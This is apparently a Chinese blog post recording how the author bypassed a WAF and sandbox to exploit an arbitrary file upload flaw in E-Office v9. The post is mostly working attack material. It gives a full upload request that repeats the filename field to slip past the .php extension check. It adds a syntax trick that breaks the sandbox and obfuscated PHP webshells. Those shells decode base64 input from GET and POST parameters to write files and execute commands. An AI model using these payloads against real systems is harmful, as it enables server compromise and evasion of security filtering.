記一次PHP文件上傳WAF+沙盒繞過
VSole2022-10-19 07:32:29
正文
打了一場護網遇到了好幾個這樣的環境,在這里記錄一下繞過過程。
如下的為本地偽造環境,目標系統E-Office v9,存在任意文件上傳漏洞。
首先需要繞過的是php的文件后綴,如下:

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1Host: 192.168.1.70User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Connection: closeAccept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348Content-Length: 2108Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4 --e64bdf16c554bbc109cecef6451c26a4Content-Disposition: form-data; name="file"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="2.phpContent-Type: image/jpeg 2222 --e64bdf16c554bbc109cecef6451c26a4--
成功繞過了PHP后綴名的攔截,然后現在需要繞過內容的過濾了。首先是發現他并不支持 <? 這種段標簽的方式。

雖然上傳成功,但是呢,沒辦法執行。

然后還攔截一些常用的一些函數之類的,嘗試進行繞過

但是!!!!!只要有 ;號就進行攔截。
<?php file_put_contents ('1.php' , file_get_contents ( ' http://127.0.0.1/png.txt' ) );
然后嘗試了很多方式進行這個分號繞過,然后發現這樣子就不攔截。
<?php 12321312file_put_contents ('1.php' , file_get_contents ( ' http://127.0.0.1/png.txt' ) );
最終確定為他是一個沙盒,就是 PHP 內容能被 php 語法支持的情況下就攔截,語法不支持的情況下就放行,那么繞過思路就有了。
他默認返回的是:X-Powered-By: PHP/7.4.28,那么是否可以通過 PHP7.4 的特性來進行讓他沙盒報錯呢,從而達到繞過的效果,如下:

然后就是寫木馬了,然后發現使用 file_get_contents 遠程下載文件為空,在想是不是不出網,使用另外一種方式。
<?php
array_map(fn (User $user) => $user->id, $users);$a=str_replace('hhh','bas', $_GET[1]);
file_put_contents ($a($_GET[3]) , $a ( $a ( $_POST[a] ) ) )
;
使用方式為:
?1=hhhe64_decode&3=dHR0LnBocA==&a=馬子內容雙層base64
使用base64進行寫文件、但是發現寫了很多個木馬都連接不上,嘗試寫了一個 cmd 的木馬。
<?phparray_map(fn (User $user) => $user->id, $users);$b=str_replace('ccc','bas', $_GET[2]);$b($b($_GET[1]))($b($_GET[3]));
發現執行 whoami、ipconfig 都會卡30S以上,最終會執行成功,但是執行其他的就會直接被攔截死,最終通過黑加白的方式進行上線的。
VSole
網絡安全專家